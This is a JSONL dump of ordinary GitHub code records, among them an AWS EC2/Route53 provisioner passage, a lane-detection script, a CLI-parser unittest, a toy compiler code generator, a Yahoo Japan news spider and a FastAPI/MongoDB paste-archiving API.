  self.managers.append(awsInst[0].private_ip_address)\r\n                self.managersId.append(awsInst[0].id)\r\n                fqdn = 'dockerManager-' + zone + '-' + str(i)\r\n                route53 = self.addRoute53(fqdn, awsInst[0].private_ip_address)\r\n                self.logger.debug(\"DNS route: \" + str(route53) )\r\n            else:\r\n                self.workers.append(awsInst[0].private_ip_address)\r\n                self.worksId.append(awsInst[0].id)\r\n                fqdn = 'dockerNode-' + zone + '-' + str(i)\r\n                route53 = self.addRoute53(fqdn, awsInst[0].private_ip_address)\r\n                self.logger.debug(\"DNS route: \" +str(route53))\r\n            \r\n#==============================================================================\r\n# Paramters:\r\n#   count    - Number AWS instances to loop through\r\n#   zone     - Zone to create workers e.g qa, dev ... etc\r\n#\r\n# Description: template aws boto3 method for creating and instance. returns the\r\n#              returns the entire instance to the setworker method.\r\n#============================================================================== \r\n    def createWorker(self, count, zone): \r\n        if count > 0: \r\n            ec2 = boto3.resource('ec2', self.config['aws.region'], None , None , None , None , self.config['aws.access.key'], self.config['aws.secret.key'], None, None)\r\n            newInst = ec2.create_instances(\r\n                                 BlockDeviceMappings=[\r\n                                    {\r\n                                        'DeviceName': self.config['block.disk.path'],\r\n                                        'VirtualName': 'dockerWorker-'+ str(count) + '-' + zone + '-Drive',\r\n                                        'Ebs': {\r\n                                            'DeleteOnTermination': True,\r\n                                            'VolumeSize': 30,\r\n                                            'VolumeType': 'gp2'\r\n                                        },\r\n                                    },\r\n                                ],\r\n                                 ImageId=self.config['aws.ami'],\r\n                                 InstanceType=self.config['aws.worker'],\r\n                                 SecurityGroupIds=[self.config['aws.securityGroupId']],\r\n                                 MinCount=1,\r\n                                 MaxCount=1,\r\n                                 SubnetId=zone,\r\n                                 TagSpecifications=[{\r\n                                     'ResourceType': 'instance',\r\n                                        'Tags': [{\r\n                                            'Key': 'Name',\r\n                                            'Value': 'dockerNode-' + zone + '-' + str(count)}\r\n                                        ]}\r\n                                 ])\r\n            self.zoneMap[newInst[0].private_ip_address] = zone\r\n            self.logger.debug(\"zoneMap[\" + newInst[0].private_ip_address + \"] -> \" + zone)\r\n            return newInst\r\n    \r\n#==============================================================================\r\n# Paramters:\r\n#   count    - Number AWS instances to loop through\r\n#   zone     - Zone to create workers e.g qa, dev ... etc\r\n#\r\n# Description: template aws boto3 method for creating and instance. returns the\r\n#              returns the entire instance to the setmanager method.\r\n#==============================================================================     \r\n    def createManager(self, count, zone): \r\n        ec2 = boto3.resource('ec2', self.config['aws.region'], None , None , None , None , self.config['aws.access.key'], self.config['aws.secret.key'], None, None)\r\n        newInst = ec2.create_instances(\r\n                                    BlockDeviceMappings=[\r\n                                    {\r\n                                        'DeviceName': self.config['block.disk.path'],\r\n                                        'VirtualName': 'dockerManager-'+ str(count) + '-' + zone + '-Drive',\r\n                                        'Ebs': {\r\n                                            'DeleteOnTermination': True,\r\n                                            'VolumeSize': 30,\r\n                                            'VolumeType': 'gp2'\r\n                                        },\r\n                                    },\r\n                                ],\r\n                                 ImageId=self.config['aws.ami'],\r\n                                 InstanceType=self.config['aws.manager'],\r\n                                 SecurityGroupIds=[self.config['aws.securityGroupId']],\r\n                                 MinCount=1,\r\n                                 MaxCount=1,\r\n                                 SubnetId=zone,\r\n                                 TagSpecifications=[{\r\n                                     'ResourceType': 'instance',\r\n                                        'Tags': [{\r\n                                            'Key': 'Name',\r\n                                            'Value': 'dockerManager-'+ zone + '-' + str(count)}\r\n                                        ]}\r\n                                 ])\r\n        self.zoneMap[newInst[0].private_ip_address] = zone\r\n        self.logger.debug(\"zoneMap[\" + newInst[0].private_ip_address + \"] -> \" + zone)\r\n        return newInst\r\n    \r\n#==============================================================================\r\n# Paramters:\r\n#   fqdn          - DNS name for a resources ex: somthing-somthing -> something.somthing.[aws.domainName]\r\n#   ipaddress     - IP address of the host being registered for as the resource\r\n#\r\n# Description: Used to create a DNS entry using AWS route53.\r\n#==============================================================================       \r\n    def addRoute53(self, fqdn, ipAddress ):\r\n        startTime = datetime.now()\r\n        fqdn = fqdn.replace('-', '.')\r\n        client = boto3.client('route53',region_name=self.config['aws.region'],\r\n                                   aws_access_key_id=self.config['aws.access.key'],\r\n                                   aws_secret_access_key=self.config['aws.secret.key'])\r\n        response = client.change_resource_record_sets(\r\n            HostedZoneId=self.config['aws.hostedZone'],\r\n            ChangeBatch={\r\n                'Comment': 'Automated DNS entry.' ,\r\n                'Changes': [\r\n                    {\r\n                        'Action':'UPSERT',\r\n                        'ResourceRecordSet': {\r\n                            'Name': fqdn +\".\" + self.config['aws.domainName'],\r\n                            'Type': 'A',\r\n                            'SetIdentifier': fqdn +\".\"+ self.config['aws.domainName'],\r\n                            'Region': self.config['aws.region'],\r\n                                'TTL': 180,\r\n                                'ResourceRecords': [\r\n                                    {\r\n                                        'Value': ipAddress\r\n                                    },\r\n                                ],\r\n                            }\r\n                        },\r\n                    ]\r\n                }\r\n            )\r\n        #this wait is kinda costly/inefficient beacuse it's waiting one by one.\r\n        waiter = client.get_waiter('resource_record_sets_changed')\r\n        waiter.wait(\r\n            Id=response['ChangeInfo']['Id'],\r\n            WaiterConfig={\r\n                'Delay': 15,\r\n                'MaxAttempts': 40\r\n                }\r\n            )\r\n        \r\n        self.logger.debug(\"ROUTE53 ID: \" + response['ChangeInfo']['Id'] + \" exec time: \" + str(datetime.now() - startTime) + \"added DNS:\" + fqdn +\".\" + self.config['aws.domainName'].rstrip('.') + \" -> \" + str(ipAddress))\r\n        return fqdn +\".\" + self.config['aws.domainName'].rstrip('.')\r\n","repo_name":"Sean-Hoffman-Leon-Corrales-Morales/Infrastructure-Code","sub_path":"infrastructure/installers/aws/provisioner.py","file_name":"provisioner.py","file_ext":"py","file_size_in_byte":15197,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"20330248790","text":"def solution(participant, completion):\n    participant = sorted(participant)\n    completion = sorted(completion)\n    answer = ''\n    for i in range(len(participant)-1):\n        if participant[i] != completion[i]:\n            answer = participant[i]\n            break\n    if answer == '':\n        answer = participant[-1]\n    return answer\n\nprint(solution([\"marina\", \"josipa\", \"nikola\", \"vinko\", \"filipa\"], [\"josipa\", \"filipa\", \"marina\", \"nikola\"]\t))","repo_name":"Dahyunne/Algorithm","sub_path":"programmers/cannot_finish.py","file_name":"cannot_finish.py","file_ext":"py","file_size_in_byte":449,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"12677352189","text":"import numpy as np\r\nimport cv2\r\nimport os,sys\r\nimport matplotlib.pyplot as plt\r\nimport matplotlib.image as mpimg\r\nimageFolder = 'Lane-detection\\straight_lane_detection/'\r\nimageFiles = os.listdir(imageFolder)\r\nimageList = []\r\nfor i in range(0,len(imageFiles)):\r\n    imageList.append(mpimg.imread(imageFolder + imageFiles[i]))\r\n#function to display images\r\ndef display_images(images,cmap=None):\r\n    plt.figure(figsize=(40,40))\r\n    for i,image in enumerate(images):\r\n        plt.subplot(3,2,i+1)\r\n        plt.imshow(image,cmap)\r\n        plt.autoscale(tight=True)\r\n    plt.show()\r\n#function to filter out lanes(color filtering)\r\ndef color_filter(image):\r\n    hls=cv2.cvtColor(image,cv2.COLOR_RGB2HLS)\r\n    white_lower=np.array([0,190,0])\r\n    white_upper=np.array([255,255,255])\r\n    yellow_lower=np.array([10,0,90])\r\n    yellow_upper=np.array([50,255,255])\r\n    yellowmask=cv2.inRange(hls,yellow_lower,yellow_upper)\r\n    whitemask=cv2.inRange(hls,white_lower,white_upper)\r\n    mask=cv2.bitwise_or(yellowmask,whitemask)\r\n    masked=cv2.bitwise_and(image,image,mask=mask)\r\n    return masked\r\n#Region of interest\r\ndef roi(img):\r\n    x=int(img.shape[1])\r\n    y=int(img.shape[0])\r\n    shape=np.array([[int(0),int(y)],[int(x),int(y)],[int(0.55*x),int(0.6*y)],[int(0.45*x),int(0.6*y)]])\r\n    mask=np.zeros_like(img)\r\n    if len(img.shape)>2:\r\n        channel_count=img.shape[2]\r\n        ignore_mask_color=(255,)*channel_count\r\n    else:\r\n        ignore_mask_color=255\r\n    cv2.fillPoly(mask,np.int32([shape]),ignore_mask_color)\r\n    masked_image=cv2.bitwise_and(img,mask)\r\n    return masked_image\r\n#Canny Edge Detection\r\ndef grayscale(img):\r\n    return cv2.cvtColor(img,cv2.COLOR_RGB2GRAY)\r\ndef canny(img):\r\n    return cv2.Canny(grayscale(img),50,120)\r\n#Hough Line detection\r\nrightSlope, leftSlope, rightIntercept, leftIntercept = [],[],[],[]\r\ndef draw_lines(img, lines, thickness=5):\r\n    global rightSlope, leftSlope, rightIntercept, leftIntercept\r\n    rightColor=[0,255,0]\r\n    leftColor=[255,0,0]\r\n    \r\n    #this is used to filter out the outlying lines that can affect the average\r\n    #We then use the slope we determined to find the y-intercept of the filtered lines by solving for b in y=mx+b\r\n    for line in lines:\r\n        for x1,y1,x2,y2 in line:\r\n            slope = (y1-y2)/(x1-x2)\r\n            if slope > 0.3:\r\n                if x1 > 500 :\r\n                    yintercept = y2 - (slope*x2)\r\n                    rightSlope.append(slope)\r\n                    rightIntercept.append(yintercept)\r\n                else: None\r\n            elif slope < -0.3:\r\n                if x1 < 600:\r\n                    yintercept = y2 - (slope*x2)\r\n                    leftSlope.append(slope)\r\n                    leftIntercept.append(yintercept)\r\n    #We use slicing operators and np.mean() to find the averages of the 30 previous frames\r\n    #This makes the lines more stable, and less likely to shift rapidly\r\n    leftavgSlope = np.mean(leftSlope[-30:])\r\n    leftavgIntercept = np.mean(leftIntercept[-30:])\r\n    rightavgSlope = np.mean(rightSlope[-30:])\r\n    rightavgIntercept = np.mean(rightIntercept[-30:])\r\n    #Here we plot the lines and the shape of the lane using the average slope and intercepts\r\n    try:\r\n        left_line_x1 = int((0.65*img.shape[0] - leftavgIntercept)/leftavgSlope)\r\n        left_line_x2 = int((img.shape[0] - leftavgIntercept)/leftavgSlope)\r\n        right_line_x1 = int((0.65*img.shape[0] - rightavgIntercept)/rightavgSlope)\r\n        right_line_x2 = int((img.shape[0] - rightavgIntercept)/rightavgSlope)\r\n        pts = np.array([[left_line_x1, int(0.65*img.shape[0])],[left_line_x2, int(img.shape[0])],[right_line_x2, int(img.shape[0])],[right_line_x1, int(0.65*img.shape[0])]], np.int32)\r\n        pts = pts.reshape((-1,1,2))\r\n        cv2.fillPoly(img,[pts],(0,0,255))\r\n        cv2.line(img, (left_line_x1, int(0.65*img.shape[0])), (left_line_x2, int(img.shape[0])), leftColor, 10)\r\n        cv2.line(img, (right_line_x1, int(0.65*img.shape[0])), (right_line_x2, int(img.shape[0])), rightColor, 10)\r\n    except ValueError:\r\n        pass\r\ndef hough_lines(img, rho, theta, threshold, min_line_len, max_line_gap):\r\n    \"\"\"\r\n    `img` should be the output of a Canny transform.\r\n    \"\"\"\r\n    lines = cv2.HoughLinesP(img, rho, theta, threshold, np.array([]), minLineLength=min_line_len, maxLineGap=max_line_gap)\r\n    line_img = np.zeros((img.shape[0], img.shape[1], 3), dtype=np.uint8)\r\n    draw_lines(line_img, lines)\r\n    return line_img\r\ndef linedetect(img):\r\n    return hough_lines(img, 1, np.pi/180, 10, 20, 100)\r\ndef weightSum(input_set):\r\n    img = list(input_set)\r\n    return cv2.addWeighted(img[0], 1, img[1], 0.8, 0)\r\ndef processImage(image):\r\n    interest = roi(image)\r\n    filterimg = color_filter(interest)\r\n    canny = cv2.Canny(grayscale(filterimg), 50, 120)\r\n    myline = hough_lines(canny, 1, np.pi/180, 10, 20, 5)\r\n    weighted_img = cv2.addWeighted(myline, 1, image, 0.8, 0)\r\n    return weighted_img\r\n###############################################################################\r\ndisplay_images(imageList)\r\nfiltered_img = list(map(color_filter, imageList))\r\ndisplay_images(filtered_img)\r\nroi_img = list(map(roi, filtered_img))\r\ndisplay_images(roi_img)\r\ncanny_img = list(map(canny, roi_img))\r\ndisplay_images(canny_img)\r\nhough_lines = list(map(linedetect, canny_img))\r\ndisplay_images(hough_lines)\r\nresult_img = list(map(weightSum, zip(hough_lines, imageList)))\r\ndisplay_images(result_img)\r\n    \r\n\r\n\r\n","repo_name":"AdityaKshettri/Lane_Detection_in_Self_Driving_Cars","sub_path":"Source Code/str_lane_detection.py","file_name":"str_lane_detection.py","file_ext":"py","file_size_in_byte":5437,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"37"}
+{"seq_id":"13078581761","text":"# ./sedater/test/test_options.py\n# Author:   Ulli Goschler <ulligoschler@gmail.com>\n# Created:  Mon, 05.10.2015 - 12:59:56 \n# Modified: Thu, 10.12.2015 - 19:41:38\n\nimport unittest\n\nfrom sedater.options import CLIParser\n\nclass TestCommandLineParameters(unittest.TestCase):\n    def setUp(self):\n        self.cli = CLIParser()\n\n    def test_default_settings(self):\n        self.cli.parseForSedater(['foo'])\n        self.assertFalse(self.cli.args.csv_headers)\n        self.assertFalse(self.cli.args.left_calibration)\n        self.assertFalse(self.cli.args.right_calibration)\n        self.assertFalse(self.cli.args.output_dir)\n    def test_toggle_csv_header(self):\n        self.cli.parseForSedater(['foo'])\n        self.assertFalse(self.cli.args.csv_headers)\n        self.cli.parseForSedater(['-c', 'foo'])\n        self.assertTrue(self.cli.args.csv_headers)\n        self.cli.parseForSedater(['--csv-headers', 'foo'])\n        self.assertTrue(self.cli.args.csv_headers)\n    def test_left_calibration_file(self):\n        ref = res = 'foobar'\n        self.cli.parseForSedater(['-l', ref, 'barfoo'])\n        self.assertEquals(self.cli.args.left_calibration, res)\n        self.cli.parseForSedater(['--left-calibration', ref, 'barfoo'])\n        self.assertEquals(self.cli.args.left_calibration, res)\n    def test_right_calibration_file(self):\n        ref = res = 'foobar'\n        self.cli.parseForSedater(['-r', ref, 'barfoo'])\n        self.assertEquals(self.cli.args.right_calibration, res)\n        self.cli.parseForSedater(['--right-calibration', ref, 'barfoo'])\n        self.assertEquals(self.cli.args.right_calibration, res)\n    def test_output_dir(self):\n        ref = res = 'foobar'\n        self.cli.parseForSedater(['-o', ref, 'barfoo'])\n        self.assertEquals(self.cli.args.output_dir, res)\n        self.cli.parseForSedater(['--output-dir', ref, 'barfoo'])\n        self.assertEquals(self.cli.args.output_dir, res)\n    def test_input_source_arguments(self):\n        ref = res = ['foo', 'bar', 'foobar', 'barfoo']\n        self.cli.parseForSedater(ref)\n        self.assertEquals(self.cli.args.inputSource, ref)\n\n\n","repo_name":"nce/sedater","sub_path":"sedater/test/test_options.py","file_name":"test_options.py","file_ext":"py","file_size_in_byte":2109,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"41762323518","text":"# Globals\nsymbol_table = []\npbIndex = 0\npb = []\nsemanticStack = []\ntmpAddr = 500\nwordLength = 4\nbreakQ = []\nreturnQ = []\n\ndef find_addr(look_ahead):\n    global semanticStack\n    global symbol_table\n    for i in symbol_table:\n        if look_ahead.value == i[1]:\n            return i[2]\n        \n\ndef fill_pb(indx , op , A1 , A2 = '' , R = ''):\n    global pb\n    while len(pb) <= indx:\n        pb.append('')\n    pb[indx] = f\"({op}, {A1}, {A2}, {R})\"\n\ndef write_pb():\n    global pb\n    output_file = open('output.txt', 'w')\n    for index, i in enumerate(pb):\n        output_file.write(f\"{index}\\t{i}\\n\")\n    output_file.close()\n\n\n\n\ndef get_tmp(slots = 1):\n    global pbIndex\n    global tmpAddr\n    global wordLength\n    addr = str(tmpAddr)\n    for i in range(slots):\n        fill_pb(pbIndex , 'ASSIGN' , '#0' , str(tmpAddr))\n        tmpAddr = tmpAddr + wordLength\n        pbIndex = pbIndex + 1\n    return addr\n\n\ndef init_var(varType , varId , slots):\n    global pbIndex\n    global symbol_table\n\n    if varType == 'arr':\n        arrAddress = get_tmp()\n        arr = get_tmp(int(slots))\n        fill_pb(pbIndex , 'ASSIGN' , '#{}'.format(arr) , arrAddress)\n        pbIndex = pbIndex + 1\n        symbol_table.append(('arr' , varId , arrAddress))\n    \n    elif varType == 'int' or varType == 'void':\n        intAddress = get_tmp()\n        symbol_table.append((varType ,varId , intAddress))\n\n\n\ndef generateCode(look_ahead , action):\n    global flag\n    global printFlag\n    global semanticStack\n    global pb\n    global pbIndex\n    global wordLength\n\n    if action == '#pid':\n        if look_ahead.value == 'output':\n            semanticStack.append('output')\n            return\n        semanticStack.append(find_addr(look_ahead))\n    \n    elif action == '#pnum':\n        semanticStack.append(f'#{look_ahead.value}')\n    \n\n    elif action == '#initVar':\n        id = semanticStack.pop()\n        typ = semanticStack.pop()\n        init_var(typ, id, '')\n\n    elif action == '#initArr':\n        arrSlots = semanticStack.pop()\n        init_var('arr' , semanticStack.pop() , arrSlots[1:])\n    \n    elif action == '#start_symbol':\n        symbol_table.append('BEGINNING')\n\n    elif action == '#add_function_to_symbol_table':\n        \n        funcAttr = []\n        latestSymbol = symbol_table.pop()\n        while latestSymbol != 'BEGINNING':\n            funcAttr.append(latestSymbol[2])\n            latestSymbol = symbol_table.pop()\n        funcAttr.append(semanticStack[-3])\n        funcAttr.reverse()\n        funcAttr.append(semanticStack[-2])\n        funcAttr.append(semanticStack[-1])\n        symbol_table.append(('FUNC', semanticStack[-4], funcAttr))\n        semanticStack.pop()\n        semanticStack.pop()\n        semanticStack.pop()\n        semanticStack.pop()\n\n    elif action == '#init_variable':\n        tmp = get_tmp()\n        semanticStack.append(tmp)\n\n    elif action == '#return_address':\n        funcName = semanticStack[-4]\n        if funcName == 'main':\n            return\n        returnAdrr = semanticStack[-2]\n        fill_pb(pbIndex, 'JP', f'@{returnAdrr}')\n        pbIndex = pbIndex + 1\n\n    elif action == '#break':\n        breakQ.append(pbIndex)\n        pbIndex = pbIndex + 1\n\n    elif action == '#startbreak':\n        breakQ.append(\"begin\")\n\n    elif action == '#endbreak':\n        index = breakQ.pop()\n        while index != 'begin':\n            fill_pb(index, 'JP', pbIndex)\n            index = breakQ.pop()\n\n    elif action == '#return':\n        value = semanticStack.pop()\n        returnQ.append((pbIndex, value))\n        pbIndex = pbIndex + 2\n\n    elif action == '#startreturn':\n        returnQ.append(('begin', '#0'))\n\n    elif action == '#endreturn':\n        index = returnQ.pop()\n        while index[0] != 'begin':\n            fill_pb(index[0], 'ASSIGN', index[1], semanticStack[-1])\n            fill_pb(index[0] + 1, 'JP', pbIndex)\n            index = returnQ.pop()\n\n    elif action == '#call_function':\n        if semanticStack[-1] == 'output':\n            return\n        function_attributes = []\n        for j in range(len(SS) - 1, -1, -1):\n            if isinstance(SS[j], list):\n                function_attributes = SS[j]\n        input_size = len(function_attributes) - 3\n        # assign function inputs\n        for j in range(input_size):\n            add_instruction_to_program_block(i, 'ASSIGN', SS[len(SS) - input_size + j], function_attributes[j + 1])\n            i = i + 1\n        # assign return address\n        add_instruction_to_program_block(i, 'ASSIGN', f'#{i + 2}', function_attributes[input_size + 1])\n        i = i + 1\n        # go  to function\n        add_instruction_to_program_block(i, 'JP', function_attributes[0] + 1)\n        i = i + 1\n        for j in range(input_size + 1):\n            SS.pop()\n        # create a new variable and assign function output to it\n        address = get_temporary_variables()\n        SS.append(address)\n        add_instruction_to_program_block(i, 'ASSIGN', function_attributes[input_size + 2], address)\n        i = i + 1\n\n    elif action == '#special_save':\n        stackTop = semanticStack.pop()\n        semanticStack.append(pbIndex)\n        semanticStack.append(stackTop)\n        pbIndex = pbIndex + 1\n\n    elif action == '#special_save_pair':\n        if symbol_table[-1][1] == 'main':\n            tmp = get_tmp()\n            fill_pb(semanticStack.pop(), 'ADD', '#0', '#0', tmp)\n            pbIndex = pbIndex + 1\n        else:\n            fill_pb(semanticStack.pop(), 'JP', pbIndex)\n\n\n    elif action == '#assign':\n        fill_pb(pbIndex , 'ASSIGN' , semanticStack[-1] , semanticStack[-2])\n        semanticStack.pop()\n        pbIndex = pbIndex + 1\n    \n    elif action == '#index':\n        indx = semanticStack.pop()\n        addr = semanticStack.pop()\n        tmp1 = get_tmp()\n        tmp2 = get_tmp()\n        fill_pb(pbIndex , 'MULT' , '#{}'.format(wordLength) , indx, tmp1)\n        pbIndex = pbIndex + 1\n        fill_pb(pbIndex , 'ASSIGN' , '#{}'.format(addr) , tmp2)\n        pbIndex = pbIndex + 1\n        fill_pb(pbIndex , 'ADD' , tmp1 , tmp2 , tmp1)\n        pbIndex = pbIndex + 1\n        semanticStack.append(f'@{tmp1}')\n    \n    \n    elif action == '#saveID':\n        semanticStack.append(look_ahead.value)\n\n    elif action == \"#setType\":\n        semanticStack.append(look_ahead.value)\n    \n    elif action == '#mult':\n        tmp = get_tmp()\n        fill_pb(pbIndex , 'MULT' , semanticStack.pop() , semanticStack.pop() , tmp)\n        pbIndex = pbIndex + 1\n        semanticStack.append(tmp)\n    \n    elif action == \"#saveOperation\":\n        semanticStack.append(look_ahead.value)\n\n    elif action == '#opperation':\n        var2 = semanticStack.pop()\n        op = semanticStack.pop()\n        var1 = semanticStack.pop()\n        tmp = get_tmp()\n\n        if op == '*':\n            fill_pb(pbIndex , 'MULT' , var1 , var2 , tmp)\n        elif op == '+':\n            fill_pb(pbIndex , 'ADD' , var1 , var2 , tmp)\n        elif op == '-':\n            fill_pb(pbIndex , 'SUB' , var1 , var2 , tmp)\n        elif op == '==':\n            fill_pb(pbIndex , 'EQ' , var1 , var2 , tmp)\n        elif op == '<':\n            fill_pb(pbIndex , 'LT' , var1 , var2 , tmp)\n\n        pbIndex = pbIndex + 1\n        semanticStack.append(tmp)\n    \n    elif action == '#inverse':\n        tmp = get_tmp()\n        fill_pb(pbIndex , 'SUB' , '#0' , semanticStack.pop() , tmp)\n        pbIndex = pbIndex + 1\n        semanticStack.append(tmp)\n    \n    elif action == '#pop':\n        semanticStack.pop()\n\n    elif action == '#save':\n        semanticStack.append(pbIndex)\n        pbIndex = pbIndex + 1\n    \n    elif action == '#jpf_save':\n        jpFrom = semanticStack.pop()\n        X = semanticStack.pop()\n        fill_pb(jpFrom , 'JPF' , X , '{}'.format(pbIndex + 1))\n        semanticStack.append(pbIndex)\n        pbIndex = pbIndex + 1\n    \n    elif action == '#jp':\n        jpFrom = semanticStack.pop()\n        fill_pb(int(jpFrom) , 'JP' , pbIndex)\n    \n    elif action == '#label':\n        semanticStack.append(pbIndex)\n    \n    elif action == '#while':\n        endIndex = semanticStack.pop()\n        X = semanticStack.pop()\n        label = semanticStack.pop()\n        fill_pb(endIndex , 'JPF' , X , '{}'.format(pbIndex + 1))\n        fill_pb(pbIndex , 'JP' , label)\n        pbIndex = pbIndex + 1\n    \n    elif action == '#output':\n        if len(semanticStack) > 1 and semanticStack[-2] == 'output':\n            fill_pb(pbIndex , 'PRINT', semanticStack.pop())\n            pbIndex += 1","repo_name":"doctorhoseinpour/compiler-project","sub_path":"code_gen.py","file_name":"code_gen.py","file_ext":"py","file_size_in_byte":8426,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"18631801778","text":"# -*- coding: utf-8 -*-\nimport scrapy\nfrom scrapy.linkextractors import LinkExtractor\nfrom scrapy.spiders import CrawlSpider, Rule\nfrom yahoo_japan.items import YahooJapanItem\n\n\nclass NewsCrawlContentSpider(CrawlSpider):\n    name = 'news_crawl_content'\n    allowed_domains = ['yahoo.co.jp']\n    start_urls = ['http://news.yahoo.co.jp/']\n\n    rules = (\n        Rule(\n            LinkExtractor(restrict_css='ul.yjnHeader_sub_cat'),\n        ),\n        Rule(\n            LinkExtractor(restrict_css='ul.topicsList_main li'),\n        ),\n        Rule(\n            LinkExtractor(\n                restrict_css='div.tpcNews_body > p.tpcNews_detailLink'),\n            callback='parse_item'\n        ),\n    )\n\n    def parse_item(self, response):\n        item = YahooJapanItem()\n        item['title'] = response.css(\n            '#ym_newsarticle > div.hd > h1::text').extract_first()\n        item['content'] = response.xpath(\n            '//*[@id=\"ym_newsarticle\"]/div[2]/div[1]/p/text()').extract()\n        item['category'] = response.css(\n            'ul#gnSec li.current a::text').extract_first()\n        return item\n","repo_name":"natsu111/yahoo_scrape","sub_path":"yahoo_japan/spiders/news_crawl_content.py","file_name":"news_crawl_content.py","file_ext":"py","file_size_in_byte":1106,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"5074462550","text":"from helpers import Helpers\nfrom scraping import Scraping\nfrom typing import Optional\nfrom json import loads, dumps\n\nfrom fastapi import APIRouter, HTTPException\nfrom pymongo.mongo_client import MongoClient\nfrom pymongo.server_api import ServerApi\nfrom pymongo.errors import ConnectionFailure\n\n\nconfig = Helpers.config_get()\nrouter = APIRouter(\n    prefix=\"/api/db\",\n    tags=[\"db\"]\n)\n\nclient = MongoClient(config[\"db_uri\"])\ndb = client[config[\"db_name\"]]\ncollection = db[config[\"db_collection_name\"]]\n\n\n@router.put(\"/insert_or_replace/\", summary=\"Inserts the paste with id {id} into the database, replacing it and updating it if it already exists\")\nasync def db_insert(id: str) -> dict:\n    \"\"\"Inserts the paste with id {id} into the database, replacing it and updating it if it already exists\n\n    Args:\\n\n        id (str): The id of the paste to insert or replace\n\n    Raises:\\n\n        HTTPException 400: Paste ID provided was not valid\\n\n        HTTPException 422: Paste ID was valid but could not be scraped\\n\n        HTTPException 504: Connection to database dead\\n\n\n    Returns:\\n\n        dict: The paste added to the database\n    \"\"\"\n    id = id.strip()\n\n    if not Scraping.is_valid_id(id):\n        raise HTTPException(status_code=400, detail=f\"Paste ID {id} is not valid\")\n    \n    data = Scraping.scrape_paste_content(id, use_cache=False)\n    if not data:\n        raise HTTPException(status_code=422, detail=f\"Paste ID {id} could not be scraped\")\n    \n    Helpers.cache_append(id)\n    \n    # make sure we're not ending up with duplicates in our DB\n    try:\n        if collection.find_one({\"id\": id}):\n            collection.find_one_and_replace({\"id\": id}, data)\n        else:\n            collection.insert_one(data)\n    except ConnectionFailure:\n        raise HTTPException(status_code=504, detail=f\"Database request timed out\")\n\n    # sometimes an ObjectID instance ends up in our dict but it's not serializable\n    if \"_id\" in data:\n        data[\"_id\"] = str(data[\"_id\"])\n    \n    return data\n\n\n@router.put(\"/insert_latest\", summary=\"Insert the latest public pastes into the database\")\nasync def db_insert_latest():\n    \"\"\"Insert the latest public pastes into the database\n\n    Raises:\\n\n        HTTPException 504: Connection to database dead\\n\n\n    Returns:\\n\n        pastes_added (int): The amount of pastes added to the db\\n\n        ids_added (list of tuples): List of tuples for every added paste where element 0 is the paste ID and element 1 is the _id (db id)\\n\n    \"\"\"\n    ids = Scraping.scrape_ids()\n    added_ids = []\n    \n    z = 0\n\n    for id in ids:\n        try:\n            if collection.find_one({\"id\": id}):\n                continue\n            \n            data = Scraping.scrape_paste_content(id)\n            if data:\n                collection.insert_one(data)\n                added_ids.append((id, str(data[\"_id\"])))\n                z += 1\n        except ConnectionFailure:\n            # we wouldn't generally want to cancel the entire request based on one timeout, but pymongo \n            # seems to be pretty good about reconnection attempts, so if it fails it really failed\n            raise HTTPException(status_code=504, detail=f\"Database request timed out\")\n        \n        \n    return {\"pastes_added\": z, \"ids_added\": added_ids}\n\n\n@router.get(\"/fetch\", summary=\"Fetch archived paste from database if it exists\")\nasync def db_fetch(id: str) -> dict:\n    \"\"\"Fetch archived paste from database if it exists\n\n    Args:\\n\n        id (str): ID of paste to return\n\n    Raises:\\n\n        HTTPException 400: Requested ID was not in valid format\\n\n        HTTPException 404: Requested ID was valid but not in database\\n\n        HTTPException 504: Connection to database dead\\n\n\n    Returns:\\n\n        dict: JSON data of archived paste\n    \"\"\"\n\n    # we don't check for 404 incase we archived the paste before it was deleted\n    if not Scraping.is_valid_id(id, check_404=False):\n        raise HTTPException(status_code=400, detail=f\"Paste ID {id} is not valid\")\n    \n    try:\n        data = collection.find_one({\"id\": id})\n        if data:\n            data[\"_id\"] = str(data[\"_id\"])\n            return data\n        else:\n            raise HTTPException(status_code=404, detail=f\"Paste ID {id} not found in DB\")\n    except ConnectionFailure:\n        raise HTTPException(status_code=504, detail=f\"Database request timed out\")\n\n\n@router.get(\"/fetch_many\", summary=f\"Retrieve {config['fetch_many_lim']} pastes from the database, with easy recursion to retrieve the entire database\", response_model=None)\nasync def db_fetch_many(filter: Optional[str] = \"null\", ind: Optional[int] = 0, limit: Optional[int] = config[\"fetch_many_lim\"]):\n    try:\n        if filter != \"null\":\n            print(filter)\n            filter = loads(filter)\n            data = collection.find(filter).sort(\"_id\", -1)[ind:]\n        else:\n            data = collection.find().sort(\"_id\", -1)[ind:]\n    except ConnectionFailure:\n        raise HTTPException(status_code=504, detail=f\"Database request timed out\")\n            \n            \n    if not ind == 0:\n        ind /= limit\n        \n    ret_list = []\n    \n    for x in data:\n        if \"_id\" in x:\n            x[\"_id\"] = str(x[\"_id\"])\n        ret_list.append(x)\n        \n        if len(ret_list) >= limit:\n            break\n\n    return {\"cur_list\": ret_list, \"next_request\": f\"http://localhost:8000/api/db/fetch_many?filter={dumps(filter) if filter != 'null' else 'null'}&limit={limit}&ind={int((ind+1) * limit)}\"}\n\n\n@router.get(\"/status\", summary=\"Check if connection to database is alive\")\nasync def db_up():\n    \"\"\"Check if connection to database is alive\n\n    Raises:\\n\n        HTTPException 503: Database connection dead\\n\n\n    Returns:\\n\n        alive (bool): Database connection status\n    \"\"\"\n    try:\n        client.admin.command(\"ping\")\n    except ConnectionFailure:\n        raise HTTPException(status_code=503, detail=f\"Database connection dead\")\n    \n    return {\"alive\": True}\n","repo_name":"benji-8229/pastescrape","sub_path":"src/backend/api_db.py","file_name":"api_db.py","file_ext":"py","file_size_in_byte":5946,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
